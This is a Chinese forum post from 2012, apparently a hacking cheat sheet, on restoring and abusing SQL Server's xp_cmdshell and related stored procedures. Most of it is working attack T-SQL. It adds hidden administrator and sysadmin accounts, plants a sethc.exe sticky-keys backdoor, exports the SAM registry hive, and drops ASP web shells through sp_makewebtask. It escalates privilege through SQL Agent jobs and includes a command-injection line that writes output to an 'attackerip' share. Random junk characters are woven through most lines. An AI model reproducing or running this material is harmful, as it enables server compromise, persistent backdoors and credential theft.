找回密码
 立即注册
查看: 2985|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号  X# `  w. I" j
恢复方法:查询分离器连接后,0 t/ ?) n, k& C/ \/ S, X
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 0 ^. [; p; O1 T5 m1 g2 U& A
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ! T0 D! Y1 S' h/ t9 n/ F+ _
然后按F5键命令执行完毕
% q8 k. K9 s9 A1 F- S* {( f8 H+ r# ^4 {. Y2 \1 F
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)5 n. i& }' b! I0 Q1 ]3 ]% ^
恢复方法:查询分离器连接后,
4 d4 C  Z- L  ]7 P$ v1 b) O第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell": n/ c4 D9 ~7 N+ j
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3 S, T5 ]7 |9 \! }& Z8 [然后按F5键命令执行完毕
! Q, I1 _; }5 D9 b$ P, a$ k. V% c" K" I  @8 c7 N& _' R
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
3 j9 R1 r' e; G恢复方法:查询分离器连接后,9 k; b$ G" r1 o+ n9 t% N
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
2 h: r3 h, `/ _+ [- \第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
3 G6 J* r/ Z5 Z7 f/ ?( ?然后按F5键命令执行完毕$ K0 j5 H% i# i7 U. I  s7 X

9 a. |4 {) k% w/ C3 X: O4 终极方法.
& |. ?8 N2 o: t. N如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:2 I' K. R5 Z2 J" ?7 e
查询分离器连接后,1 ?, \  u- k: t* T- B& {
2000servser系统:# Q2 Y7 L) p/ b* r' [: H' {' ~
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
* B) F  }+ [; j: b
1 E/ f1 I4 D' j$ v* `3 O4 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'8 v' [/ P1 Q; E$ P3 h
2 ]* _7 T! m; Q* j2 n) ^- _4 d
xp或2003server系统:) O1 e/ [, g5 K2 }4 ?

8 X" v0 @) j! Ydeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'4 X( H/ O5 K* T2 m2 j: G
* w3 v2 e5 p4 h9 l% f. [% L
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
/ w* N. g% b5 x( s$ ?( \! \7 r5 e  H$ G! ~% w% }
7 G9 B1 _" ^3 Y( M  s' q+ q! D6 a( J
五个SHIFT
6 n' ]- F/ E" z2 R2 s1 B+ Cdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
7 s% a9 z% U8 I, V1 {
6 C* V1 M% X7 l2 `declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
% s; j' X) ?/ d7 T" T5 }) J
" _! V) y( D0 wxp_cmdshell执行命令另一种方法2 H  C# Z9 N' j& ]7 i4 n) u
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
1 J% T$ g' l7 F9 R4 O3 v9 o' T! ^( X2 P' k& i
判断存储扩展是否存在
5 _+ h7 q2 O6 z; P$ c, K6 nSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'8 _$ E# R# v" o
返回结果为1就OK
- g: f8 h: s7 ~
# Q! @3 u7 O" F7 F+ S" `* c; Z# p3 y( \, z( X/ g& x3 @
上传xplog70.dll恢复xp_cmdshell语句:
- I8 B# a$ [/ a1 ]sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'  Y7 R  ]) ?: `1 ]% J7 H; ?

, {% y9 E$ K, f$ d, B8 P. E# l) q! a否则上传xplog7.0.dll
$ `; d5 L" S: P; ]5 Q! _2 K1 k% XExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
6 a/ d# {( o* x% N
5 z0 H* ^0 Z% {  y  ?4 w: }1 _1 i
+ a6 _/ v, ~! [( x( L" s4 W& p0 |0 g
首先开启沙盘模式:5 b" j4 A4 G  H- E5 y/ V4 s# H: f7 Y
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
9 ~9 r) ?; N. i/ e+ \
2 \! n6 Y. I- B5 r# P然后利用jet.oledb执行系统命令0 m5 |9 u0 i# P: j
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')5 ^0 t- M, A- b& [. E
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了8 P" J) B/ a$ |* w' X
: y! G* b6 o( k  D- I

' y' E3 D* ^& u2 L5 r3 a% Q1 b
1 l! y4 w* n: q1 V; Y6 Y- A! {0 L恢复过程sp_addextendedproc 如下: " f1 @7 V- m) q9 h3 Z* \
create procedure sp_addextendedproc --- 1996/08/30 20:13 , q- q" P+ G8 s
@functname nvarchar(517),/* (owner.)name of function to call */ ' k! b& l$ V( z
@dllname varchar(255)/* name of DLL containing function */ 6 V5 M9 Q& f) N( N! j
as
% V3 O; G$ y" L- x: H% T4 Cset implicit_transactions off & D# z. G0 @6 e+ v5 T8 B; I, A
if @@trancount > 0
; J# n* F& \$ \, |1 hbegin ) y' W% G3 z  P) p+ N# g6 _
raiserror(15002,-1,-1,'sp_addextendedproc')
/ S; i1 Y- G" |1 a& R7 Jreturn (1)
4 m1 m  X' x" h( n2 Hend ' {, j# ]$ k1 b/ J$ Y1 d0 u; u# H
dbcc addextendedproc( @functname, @dllname) 5 m' t( |0 |2 T5 l& ?* q  |
return (0) -- sp_addextendedproc
$ C. R( I$ T) @$ _/ c8 z* aGO
' y7 M3 ^: W6 v. N1 u
( e0 }. J1 k9 q6 ~  V1 v5 V7 N, N5 g- h/ M1 V: Y6 \+ D1 p

3 X9 u! p: U& _" O导出管理员密码文件
( g0 Q: Y& V8 r- k1 X7 |* Jsa默认可以读sam键.应该。- w" _) y  _! K: a, }7 C
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg# h) n& h5 z% U" d4 C0 J
net user administrator test2 d3 M+ C9 b( C! S& @4 g
用administrator登陆.
1 t8 v: x8 o4 |6 z用完机器后# E7 \" j, @8 [
reg import c:\test.reg
1 w& ?+ u( o( K根本不用克隆.
. `, k( z3 t9 q, A5 _' w0 g8 u找到对应的sid.
2 i% m- A; S- b& @! d0 q
6 I  N7 N% {4 h6 y* }. \/ u7 i3 P$ Q3 \
, F, l+ Y( y. n: Q
恢复所有存储过程
, L" e& `& T8 M! huse master
3 |9 A; i( ?7 Q8 g7 I. D3 Bexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
9 y' K- G$ l/ K( p3 j( ^8 c3 W+ _% pexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' , ~! B, I4 f# b3 O4 D8 E
exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 7 Q$ m! r8 G2 N+ z  ?% B
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' * O8 }2 j/ C- {# r/ [  Y
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
' x& F7 N, {! S! M1 P+ ?exec sp_addextendedproc sp_OACreate,'odsole70.dll'   u, J/ e. r! Q
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
8 N3 ]/ ]" i  `* N2 [2 `& J; |1 Oexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
8 v* W& o, Z* `/ Hexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
; }$ {4 n5 d' l2 lexec sp_addextendedproc sp_OAMethod,'odsole70.dll' ! r, @" r/ Y" h! l0 O% F
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
5 Q' V3 L. A% _, `. uexec sp_addextendedproc sp_OAStop,'odsole70.dll' ( ~% M) Q0 N# k) G6 b2 S2 ?
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' * \3 f4 g3 }. h/ ^2 @+ }
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
/ Z0 }  |0 Z% P: E6 Fexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
$ X3 `& [1 ?# B* pexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 5 a3 x" S% ]: i* z
exec sp_addextendedproc xp_regread,'xpstar.dll'
% ]* x* Y) }8 N# lexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' $ q9 o) |5 j' `0 @, R
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
9 G# n, {, s9 M. B) G* ]) {/ Qexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
2 O  I9 w; w" N% ~, {
& c% n3 V- W0 J- c8 P" H8 W3 W
7 Q0 H( u) @! H8 }- x建立读文件的存储过程; ?% O7 i0 s9 R# H$ Q
Create proc sp_readTextFile @filename sysname
7 e' }  G& r* Jas
5 _4 w1 U6 R7 O$ Z* h1 G. x) ~$ @: ], U( Q% d. x2 K1 d
    begin ' f' a8 G( J) p8 f) ]2 e+ k3 E
    set nocount on 7 Q- E$ r. [4 p0 [  X
    Create table #tempfile (line varchar(8000))
# x$ k8 \( f+ @8 d8 z2 w    exec ('bulk insert #tempfile from "' + @filename + '"'): R, B$ V2 C7 C/ w& W) m# \
    select * from #tempfile8 s/ o2 [- M- ^
    drop table #tempfile! a3 K- ]0 G' d0 K9 L6 g, F* G3 L
End( C, B- W$ _, s4 U& ]
0 t$ t: E% j$ ?# }
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
& ~: b  }& n* P1 G- p- \# J7 o查看登录用户
$ h% _" a7 U4 u  tSelect * from sysxlogins
" U" F6 Z6 b4 \* O
7 h- @2 _1 ~' ]* M把文件内容读取到表中
" r" m! X- K# q% V3 vBULK INSERT tmp from "c:\test.txt"
) M( ?% e6 L4 E0 BdElete from 表名 清理表里的内容+ m0 L" n; i* A) n4 ?
create table b_test(fn nvarchar(4000));建一个表,字段为fn
; e, A# s4 s' Z8 n) w& U4 ?& p6 H' Q" n, }3 n1 G5 h( }. \9 k. l

5 x9 _) B5 D( H% p5 z6 p/ ?, b加sa用户
+ Y1 G& i; D& M3 j" Yexec master.dbo.sp_addlogin user,pass;  [9 O9 }, _- o0 m7 I
exec master.dbo.sp_addsrvrolemember user,sysadmin
) ~+ J# B6 O9 }1 F
1 [6 H  |% n; Q# w3 ?2 K$ f: j7 e: v7 I" b9 d
5 f: i+ v) E6 b+ w. q
读文件代码- t, n6 W: e1 }; }1 H. L
declare @o int, @f int, @t int, @ret int
! }2 X( Q0 ~* I6 gdeclare @line varchar(8000)
6 T' X( X! X, k% W+ z: ^exec sp_oacreate 'scripting.filesystemobject', @o out
/ ^6 Q# K9 j: n* s1 K3 nexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
  a. s* C' x& [  zexec @ret = sp_oamethod @f, 'readline', @line out
* ]: s2 m" U0 |! hwhile( @ret = 0 )3 g- C/ W" i7 v. m
begin
( t7 H# q+ y5 K/ K% m9 @+ W# Xprint @line6 m# W( H2 q6 f# ~/ ~0 \: F
exec @ret = sp_oamethod @f, 'readline', @line out
5 U3 R! h; o4 i5 y7 T' H. I# [9 _end1 u) K* ]1 P2 n' C4 P  [% J

( T/ c, G6 V9 L- E+ t! x; h. L$ d  _# f$ ~
写文件代码:
+ j8 c2 {; [. K2 g$ ?' h" M; Y# Hdeclare @o int, @f int, @t int, @ret int
3 Q2 Q8 O" x; a# ]) yexec sp_oacreate 'scripting.filesystemobject', @o out; u2 U( L# `; m+ `/ e9 X& c8 u
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 10 F' Q' T& Y) ]; w4 u, d
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
( x6 t6 H2 s/ d6 E1 ^7 y- t" B

/ m2 @: z% R9 o' S& S7 D添加lake2 shell
1 R' [; \( I# W$ Tsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'5 ?. G4 W! o. |' s  r) q
sp_dropextendedproc xp_lake22 J  U: w9 v2 a( \1 _& l7 C
EXEC xp_lake2 'net user'" m! e* ?. ]  T" C4 N

1 B0 X# E3 s0 `: a" T
( H( c& a$ M$ U2 d) _1 t2 c! r得到硬盘文件信息 9 c) F0 w7 D1 O; M; K
--参数说明:目录名,目录深度,是否显示文件
& @! n( P8 I. s0 Mexecute master..xp_dirtree 'c:' . D6 m7 {  M' b; G& {* z, k- S) k1 b
execute master..xp_dirtree 'c:',1 , W; t; [- ~8 p1 v' R& b
execute master..xp_dirtree 'c:',1,1
* ]0 w% W% u0 @' v0 [
( V9 g+ E. m8 ]; A: z! a$ J  `* Y/ g' F
读serv-u配置信息4 Y, ^9 T( N3 T5 J+ o, j8 w! B9 w
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'; }3 P+ Y  O  q& c; S
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
1 h1 T. i% I; Y" ^( l
! B: `4 C; M% H" o% O& j通过xp_regwrite写SHIFT后门
) d3 |" v% u, A: \& v: u2 xexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
/ f1 y. h) ]2 N3 b1 l- [: i/ L  E  M% O0 g$ p7 J
* x8 w9 M: j4 t
# c4 M. e% \* s" A* i
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
4 i. a( z) B; p% r5 Mexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了5 P. `2 ?. e+ Q, O
# s$ O2 G$ M! Z* \4 }+ J) R
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'+ \1 c1 q/ j, |9 T3 Q

" D- L& L$ L% e2 A! N' _
  _2 G* u2 Z! U, s
' ]# f5 a6 ~3 f; {+ vsql server 2005下开启xp_cmdshell的办法
5 [6 `0 J$ K* o7 K# B, w  N. L" U( s' I% @! z5 H/ o
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;0 \" S* t/ }8 Q$ u9 Y/ @) m! v

' @4 X: _6 l: }. FSQL2005开启'OPENROWSET'支持的方法:
1 M+ q9 Z1 G& J! s. V
* a7 _' ]2 {  H) r! n& ^) P4 Oexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
) {' N0 j. q6 c! P  s& C5 H0 I+ m$ O/ [$ }9 Q/ C! G
SQL2005开启'sp_oacreate'支持的方法:* m1 y9 q8 s5 [
) _* q8 h1 l9 y. Z
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;" ?; R2 S- w9 {

. J4 j9 }" d9 L) P0 x. E7 z/ u! r& I7 s1 T7 d% r

8 O8 {3 B# s9 {
4 ?. a) y( e, ?0 J6 j! r5 \, z4 _  h) w
, f% G  o7 Y8 U

, q0 c  t- x, a; ^( A  ?! J8 l1 M* ]- r: v7 f/ ~2 A1 Q8 Q
8 O! s9 d8 b) `$ e( C+ n- v

' f( p0 t) i5 |3 k. Q
* o  @2 p" X$ L- D
! f) v4 e; F+ c+ T2 l* y$ f% p6 i4 D* l( G" X
9 `+ R' ~. L5 J8 W; l

& I# [/ y! Z5 W+ V7 F& E( X! m" q' \- m, G! z7 ]- P8 n

  t( q5 c5 w* W$ Y2 }- Q- T, e# e& }  P
$ j3 g) r' k& O% ]% o. }
; v" N& X8 {. P6 B
0 t9 w+ M7 W& j7 U# R

) Y$ S  |- T- m* Z/ u  ?
2 z  w& `" f1 W/ F0 ?  j
3 W, e6 Q6 `: A* t* B* V以下方面不知道能不能成功暂且留下研究哈:) Q% X# u( F. m
4)( ?/ e$ q8 d# R- x. k+ t/ A
use msdb; --这儿不要是master哟: Q9 m4 j, f0 m
exec sp_add_job @job_name= czy82 ;0 e0 [8 |- m* {2 K7 [% z! C
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
6 f6 Q. |; m! Q' [0 u) r2 Mexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
4 y6 ]# V# O' uexec sp_start_job @job_name= czy82 ;' d) l. |8 ^* V
4 X; D. o9 o4 I: s+ n$ P/ E
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
* A/ o/ W/ O% M# x执行tsql语句了.* M- k& v2 J% X% w: Z0 f! D
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名% l, m0 ^- V" g" b6 F0 @, W
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧); ?6 O# I+ Y: u2 t# G  x1 f
net start SQLSERVERAGENT
6 H9 s+ l1 d$ l% Q
) X; n( |) M4 P9 K' M3 g4 _1 X对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
9 P! a0 p$ d6 B4 ~! BUSE msdb1 W* j1 |$ I1 N4 [
EXEC sp_add_job @job_name = GetSystemOnSQL ,
7 N) H  p) E) a6 k@enabled = 1,0 n2 u- O" S: [* Q3 U. k0 I
@description = This will give a low privileged user access to
4 C- P2 L7 p; R6 M! W: Mxp_cmdshell ,
$ d) C4 F( `; x+ g@delete_level = 1
+ `% O. ^2 G8 t! r: B, iEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,% K! q/ @# T: u
@step_name = Exec my sql ,
* \9 p( G) b+ t4 k2 R+ b3 u@subsystem = TSQL ,9 `! ?0 j- _9 N
@command = exec master..xp_execresultset N select exec
: u6 b: i% k3 _$ Dmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 9 `. Z# n/ u( Z8 M1 }+ c& V7 R
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,+ x+ c8 _( @- {1 q6 G/ |5 v/ c
@server_name = 你的SQL的服务器名 1 F0 S+ f' O4 t
EXEC sp_start_job @job_name = GetSystemOnSQL
( J& ?3 @" x. Y) u# N0 C. j
) D9 D+ }% V5 f: M3 U- v不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以: d2 I" n; N  N
才让我们可以以public执行xp_cmdshell
3 S! W, ?' y# \+ @1 [
% {) y: d- b) u2 P& f6 g5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
- |  q* c* ]8 j; p5 N  Q: h" d在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
0 c) k- |* A+ O3 O  W% ~- f5 H, @& ]2 B8 a- ~6 e, E" _, k) V( X
USE msdb
% F  s  h4 j; P* t. EEXEC sp_add_job @job_name = ArbitraryFilecreate ,
7 }8 {% W' v/ I/ n/ N- r: e8 R, z@enabled = 1,
% X# |9 c; B, G@description = This will create a file called c:\sqlafc123.txt ,
$ l' O% S/ c& `2 L% p@delete_level = 1
4 @8 P3 T) ?# ?EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
( l) S# f- u$ v@step_name = SQLAFC ,
1 ^1 F: j6 q! A+ a8 Q@subsystem = TSQL ,
/ ]( e3 t; R7 `5 b/ O5 ~3 D  e@command = select hello, this file was created by the SQL Agent. ,. n  h' I. @: S. o1 y
@output_file_name = c:\sqlafc123.txt $ n( x4 J5 |. O2 ]  w: r$ W
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,' G/ l+ a+ W; X! ~+ r8 ^5 d) o& q
@server_name = SERVER_NAME
$ e$ p/ n, r# u$ g1 eEXEC sp_start_job @job_name = ArbitraryFilecreate ' p7 k0 z3 G# K% o
% z# o7 s4 V; t! f9 E8 t1 f
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
7 |0 m/ J6 X, _& {
% @8 q5 ]& f* E! y  G??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
- O+ H- B" M3 j( a; X----------------------------------------------" N/ d- Y. S4 H
hello, this file was created by the SQL Agent.
2 S/ z" z" Z1 i
2 L& `" z" B- q: y( o# p) k(1 ?????)* E% S, j, }5 y* j$ x9 t5 J! z
# \* ?7 [* a) {; ?4 P; @4 d
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员+ R7 Z+ f/ O7 P, r5 {) P
命令的vbs文件到启动目录!9 K# M- m3 F3 O: }

$ v% }" ?: S/ w7 p6)关于sp_makewebtask(可以写任意内容任意文件名的文件)2 r$ B" a3 Z3 E
关于sp_MScopyscriptfile 看下面的例子
# i4 U' q5 ~) p7 m$ q. `declare @command varchar(100)
3 m" G: t- k/ zdeclare @scripfile varchar(200)
  j  t; l/ Z  ^2 H' {set concat_null_yields_null off 1 k5 W& A/ @6 C& U8 }9 Z
select @command= dir c:\ > "\\attackerip\share\dir.txt"
1 J9 b6 i: U5 m0 \# d% Nselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
. ?  Z9 B: h. i( eexec sp_MScopyscriptfile @scripfile ,
) L) l+ i0 I! T# n9 f' X
3 H+ g, {2 q: i. y6 }: S这两个东东都还在测试试哟
3 R  `5 i& |0 ^, t* B让MSSQL的public用户得到一个本机的web shell
" G( e8 V1 h' E! u1 y/ }
4 z( w4 `; I7 b' ~' ^5 g5 a' U% asp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
+ |7 p# r. U: T5 s" D4 Y--@query= select <img src=vbscript:msgbox(now())> 5 G: |9 Q4 \8 E
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
: H/ R1 t7 }, |4 f@query= select 7 h1 R% Y- c& z9 p' i
<%On Error Resume Next
; g5 Z5 B0 q, h8 r  Y- E3 aSet oscript = Server.createObject("wscript.SHELL") / o$ }6 J8 Y$ A3 P, d% Z$ l
Set oscriptNet = Server.createObject("wscript.NETWORK") . b5 |# p$ O0 W+ F! n: z
Set oFileSys = Server.createObject("scripting.FileSystemObject") 5 s5 n/ R" j- {
szCMD = Request.Form(".CMD")
; M6 [1 v. `9 i# V/ k- lIf (szCMD <>"")Then 1 j( J6 T! X! m: h4 u, E+ L$ g5 H
szTempFile = "C:\" & oFileSys.GetTempName() 3 c0 p2 B. L  g0 }) r5 K  b# q
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
# Y0 j$ f% l2 P9 F; t" ISet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
+ N/ `1 v2 Y7 w- GEnd If %> 1 ^' {" ^" _$ M
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> . a9 c; F% z0 @* I
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
0 I6 L& c* h) B; S' }/ G$ ~</FORM><RE>
* N9 P3 y/ Z2 n& x. R, i. h8 k<% If (IsObject(oFile))Then
6 _( ]8 L1 K; _1 l" t. fOn Error Resume Next
1 E2 s# s' N% M3 B# ?) m- F7 AResponse.Write Server.HTMLEncode(oFile.ReadAll) $ x! _6 L% m1 q1 p' r
oFile.Close * Z* F: L; ~8 k/ {& U0 _4 o
Call oFileSys.deleteFile(szTempFile, True) 0 |# R$ @  T; f- L+ {8 e/ W
End If%>
: x2 \. |* @: s. g- `</BODY></HTML>
" h6 e. c  H+ ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表